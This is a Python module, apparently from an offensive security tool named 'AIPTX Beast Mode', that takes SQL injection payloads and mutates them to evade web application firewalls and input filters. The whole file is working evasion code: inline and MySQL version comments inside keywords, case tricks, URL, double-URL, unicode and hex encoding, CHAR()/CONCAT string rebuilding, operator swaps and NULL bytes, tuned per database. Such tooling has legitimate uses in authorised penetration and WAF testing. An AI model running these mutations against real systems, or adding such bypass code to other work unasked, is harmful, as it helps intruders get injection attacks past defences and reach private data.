"""
AIPTX Beast Mode - SQL Injection Mutations
==========================================

Advanced SQLi payload mutations for WAF bypass.
"""

from __future__ import annotations

import logging
import re
from dataclasses import dataclass, field
from typing import Callable

logger = logging.getLogger(__name__)


@dataclass
class SQLiMutation:
    """A single SQLi mutation technique."""
    name: str
    description: str
    transform: Callable[[str, str], str]  # (payload, dbms) -> mutated
    applicable_dbms: list[str] = field(default_factory=lambda: ["all"])


class SQLiMutator:
    """
    SQL Injection payload mutator.

    Applies various mutation techniques to bypass WAF and filters.
    """

    def __init__(self, dbms: str = "mysql"):
        """
        Initialize the SQLi mutator.

        Args:
            dbms: Database type (mysql, mssql, oracle, postgres, sqlite)
        """
        self.dbms = dbms.lower()
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """
        Generate all mutation variants of a payload.

        Args:
            payload: Original SQLi payload

        Returns:
            List of (mutated_payload, mutation_name) tuples
        """
        results = []

        for mutation in self._mutations:
            if "all" in mutation.applicable_dbms or self.dbms in mutation.applicable_dbms:
                try:
                    mutated = mutation.transform(payload, self.dbms)
                    if mutated and mutated != payload:
                        results.append((mutated, mutation.name))
                except Exception as e:
                    logger.debug(f"Mutation {mutation.name} failed: {e}")

        return results

    def mutate_single(self, payload: str, mutation_name: str) -> str | None:
        """Apply a specific mutation by name."""
        for mutation in self._mutations:
            if mutation.name == mutation_name:
                return mutation.transform(payload, self.dbms)
        return None

    def _build_mutations(self) -> list[SQLiMutation]:
        """Build the list of mutation techniques."""
        return [
            # Whitespace mutations
            SQLiMutation(
                name="space_to_comment",
                description="Replace spaces with inline comments",
                transform=lambda p, d: p.replace(" ", "/**/"),
            ),
            SQLiMutation(
                name="space_to_tab",
                description="Replace spaces with tabs",
                transform=lambda p, d: p.replace(" ", "\t"),
            ),
            SQLiMutation(
                name="space_to_newline",
                description="Replace spaces with newlines",
                transform=lambda p, d: p.replace(" ", "\n"),
            ),
            SQLiMutation(
                name="space_to_plus",
                description="Replace spaces with plus (URL)",
                transform=lambda p, d: p.replace(" ", "+"),
            ),

            # Case mutations
            SQLiMutation(
                name="mixed_case",
                description="Mixed case keywords",
                transform=self._mixed_case,
            ),
            SQLiMutation(
                name="upper_case",
                description="Uppercase keywords",
                transform=lambda p, d: self._case_keywords(p, str.upper),
            ),
            SQLiMutation(
                name="lower_case",
                description="Lowercase keywords",
                transform=lambda p, d: self._case_keywords(p, str.lower),
            ),

            # Comment mutations
            SQLiMutation(
                name="inline_comments",
                description="Insert comments in keywords",
                transform=self._insert_inline_comments,
            ),
            SQLiMutation(
                name="version_comments",
                description="Use MySQL version comments",
                transform=self._mysql_version_comments,
                applicable_dbms=["mysql", "mariadb"],
            ),

            # Encoding mutations
            SQLiMutation(
                name="url_encode_keywords",
                description="URL encode SQL keywords",
                transform=self._url_encode_keywords,
            ),
            SQLiMutation(
                name="double_url_encode",
                description="Double URL encode special chars",
                transform=self._double_url_encode,
            ),
            SQLiMutation(
                name="unicode_encode",
                description="Unicode encode characters",
                transform=self._unicode_encode,
            ),
            SQLiMutation(
                name="hex_encode_strings",
                description="Hex encode string literals",
                transform=self._hex_encode_strings,
            ),

            # String mutations
            SQLiMutation(
                name="char_function",
                description="Use CHAR() for strings",
                transform=self._char_function,
            ),
            SQLiMutation(
                name="concat_strings",
                description="Concatenate split strings",
                transform=self._concat_strings,
            ),

            # Operator mutations
            SQLiMutation(
                name="like_instead_of_equals",
                description="Use LIKE instead of =",
                transform=lambda p, d: p.replace("=", " LIKE "),
            ),
            SQLiMutation(
                name="between_instead_of_equals",
                description="Use BETWEEN for equality",
                transform=lambda p, d: re.sub(r"(\w+)\s*=\s*(\d+)", r"\1 BETWEEN \2 AND \2", p),
            ),
            SQLiMutation(
                name="or_to_pipes",
                description="Replace OR with ||",
                transform=lambda p, d: p.replace(" OR ", " || ").replace(" or ", " || "),
                applicable_dbms=["oracle", "postgres", "sqlite"],
            ),

            # Quote mutations
            SQLiMutation(
                name="double_quotes",
                description="Use double quotes for strings",
                transform=lambda p, d: p.replace("'", '"'),
                applicable_dbms=["mysql", "postgres", "sqlite"],
            ),
            SQLiMutation(
                name="escaped_quotes",
                description="Escape quotes with backslash",
                transform=lambda p, d: p.replace("'", "\\'"),
            ),
            SQLiMutation(
                name="doubled_quotes",
                description="Double up quotes",
                transform=lambda p, d: p.replace("'", "''"),
            ),

            # Comment terminators
            SQLiMutation(
                name="hash_comment",
                description="Use # for comment",
                transform=lambda p, d: re.sub(r"--\s*$", "#", p),
                applicable_dbms=["mysql", "mariadb"],
            ),
            SQLiMutation(
                name="semicolon_comment",
                description="Use ; with comment",
                transform=lambda p, d: re.sub(r"--\s*$", ";--", p),
            ),

            # Scientific notation
            SQLiMutation(
                name="scientific_notation",
                description="Use scientific notation for numbers",
                transform=lambda p, d: re.sub(r"\b(\d+)\b", r"\1e0", p),
            ),

            # NULL byte
            SQLiMutation(
                name="null_byte",
                description="Insert NULL bytes",
                transform=lambda p, d: p.replace(" ", "%00"),
            ),
        ]

    def _mixed_case(self, payload: str, dbms: str) -> str:
        """Apply mixed case to SQL keywords."""
        keywords = ["SELECT", "UNION", "AND", "OR", "FROM", "WHERE", "INSERT",
                   "UPDATE", "DELETE", "DROP", "TABLE", "ORDER", "BY", "HAVING",
                   "GROUP", "LIMIT", "OFFSET", "JOIN", "LEFT", "RIGHT", "INNER"]
        result = payload
        for kw in keywords:
            mixed = "".join(c.upper() if i % 2 == 0 else c.lower() for i, c in enumerate(kw))
            result = re.sub(rf"\b{kw}\b", mixed, result, flags=re.IGNORECASE)
        return result

    def _case_keywords(self, payload: str, case_func: Callable[[str], str]) -> str:
        """Apply case function to SQL keywords."""
        keywords = ["SELECT", "UNION", "AND", "OR", "FROM", "WHERE", "INSERT",
                   "UPDATE", "DELETE", "DROP", "TABLE", "ORDER", "BY"]
        result = payload
        for kw in keywords:
            result = re.sub(rf"\b{kw}\b", case_func(kw), result, flags=re.IGNORECASE)
        return result

    def _insert_inline_comments(self, payload: str, dbms: str) -> str:
        """Insert inline comments within keywords."""
        keywords = ["UNION", "SELECT", "AND", "OR", "FROM", "WHERE"]
        result = payload
        for kw in keywords:
            mid = len(kw) // 2
            split = f"{kw[:mid]}/**/{kw[mid:]}"
            result = re.sub(rf"\b{kw}\b", split, result, flags=re.IGNORECASE)
        return result

    def _mysql_version_comments(self, payload: str, dbms: str) -> str:
        """Use MySQL version-specific comments."""
        keywords = {
            "UNION": "/*!50000UNION*/",
            "SELECT": "/*!50000SELECT*/",
            "AND": "/*!50000AND*/",
            "OR": "/*!50000OR*/",
        }
        result = payload
        for kw, repl in keywords.items():
            result = re.sub(rf"\b{kw}\b", repl, result, flags=re.IGNORECASE)
        return result

    def _url_encode_keywords(self, payload: str, dbms: str) -> str:
        """URL encode SQL keywords."""
        import urllib.parse
        keywords = ["UNION", "SELECT", "AND", "OR"]
        result = payload
        for kw in keywords:
            encoded = urllib.parse.quote(kw)
            result = re.sub(rf"\b{kw}\b", encoded, result, flags=re.IGNORECASE)
        return result

    def _double_url_encode(self, payload: str, dbms: str) -> str:
        """Double URL encode special characters."""
        import urllib.parse
        chars = {"'": "%2527", '"': "%2522", " ": "%2520", "=": "%253D"}
        result = payload
        for char, encoded in chars.items():
            result = result.replace(char, encoded)
        return result

    def _unicode_encode(self, payload: str, dbms: str) -> str:
        """Unicode encode characters."""
        chars = {"'": "%u0027", '"': "%u0022", "<": "%u003C", ">": "%u003E"}
        result = payload
        for char, encoded in chars.items():
            result = result.replace(char, encoded)
        return result

    def _hex_encode_strings(self, payload: str, dbms: str) -> str:
        """Encode string literals as hex."""
        def to_hex(match):
            s = match.group(1)
            hex_str = s.encode().hex()
            if dbms in ("mysql", "mariadb"):
                return f"0x{hex_str}"
            elif dbms in ("mssql", "sqlserver"):
                return f"0x{hex_str}"
            elif dbms == "postgres":
                return f"'\\x{hex_str}'"
            return f"0x{hex_str}"
        return re.sub(r"'([^']+)'", to_hex, payload)

    def _char_function(self, payload: str, dbms: str) -> str:
        """Convert strings to CHAR() function calls."""
        def to_char(match):
            s = match.group(1)
            char_codes = [str(ord(c)) for c in s]
            if dbms in ("mysql", "mariadb"):
                return f"CHAR({','.join(char_codes)})"
            elif dbms in ("mssql", "sqlserver"):
                return "+".join(f"CHAR({code})" for code in char_codes)
            elif dbms == "oracle":
                return "||".join(f"CHR({code})" for code in char_codes)
            elif dbms == "postgres":
                return "||".join(f"CHR({code})" for code in char_codes)
            return f"CHAR({','.join(char_codes)})"
        return re.sub(r"'([^']+)'", to_char, payload)

    def _concat_strings(self, payload: str, dbms: str) -> str:
        """Split strings and concatenate."""
        def to_concat(match):
            s = match.group(1)
            parts = [f"'{c}'" for c in s]
            if dbms in ("mysql", "mariadb"):
                return f"CONCAT({','.join(parts)})"
            elif dbms in ("mssql", "sqlserver"):
                return "+".join(parts)
            elif dbms in ("oracle", "postgres"):
                return "||".join(parts)
            return f"CONCAT({','.join(parts)})"
        return re.sub(r"'([^']+)'", to_concat, payload)


def mutate_sqli_payload(payload: str, dbms: str = "mysql") -> list[tuple[str, str]]:
    """Convenience function to mutate SQLi payload."""
    mutator = SQLiMutator(dbms)
    return mutator.mutate(payload)


def get_sqli_variants(payload: str, dbms: str = "mysql", limit: int = 20) -> list[str]:
    """Get mutated variants of a SQLi payload."""
    mutations = mutate_sqli_payload(payload, dbms)
    return [m[0] for m in mutations[:limit]]


__all__ = [
    "SQLiMutation",
    "SQLiMutator",
    "mutate_sqli_payload",
    "get_sqli_variants",
]
